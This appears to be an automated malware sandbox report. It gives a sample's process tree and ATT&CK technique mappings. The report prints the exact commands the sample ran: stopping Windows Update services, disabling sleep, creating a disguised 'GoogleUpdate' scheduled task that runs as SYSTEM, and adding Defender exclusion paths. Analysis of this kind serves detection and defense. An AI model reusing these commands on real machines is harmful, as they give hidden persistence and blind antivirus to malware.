  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1924
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:888
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4152
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4992
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2320
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4144
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1456
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3876
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4496
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4416
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:3352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gzjter#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:5060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gzjter#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:948
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4856
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3112
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1056
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4804
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1276
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:536
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2768
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:3800
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1224
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1432
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2236
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4896
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 1888 -ip 1888
1⤵
PID:4620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1888 -ip 1888
1⤵
PID:2700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1888 -ip 1888
1⤵
PID:4792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 1888 -ip 1888
1⤵
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1888 -ip 1888
1⤵
PID:3112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1888 -ip 1888
1⤵
PID:3028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 1888 -ip 1888
1⤵
PID:5024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1888 -ip 1888
1⤵
PID:5020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1888 -ip 1888
1⤵
PID:4248

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "setup.exe" /f
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4192

C:\Windows\System32\sc.exe
sc stop bits
1⤵
- Launches sc.exe
PID:2752

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
1⤵
PID:4732

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:3940

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
1⤵
PID:4844

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:5116

C:\Windows\System32\sc.exe
sc stop dosvc
1⤵
- Launches sc.exe
PID:2472

C:\Windows\System32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:3280

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:3028

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:2636

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4184

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:376

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
PID:1780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery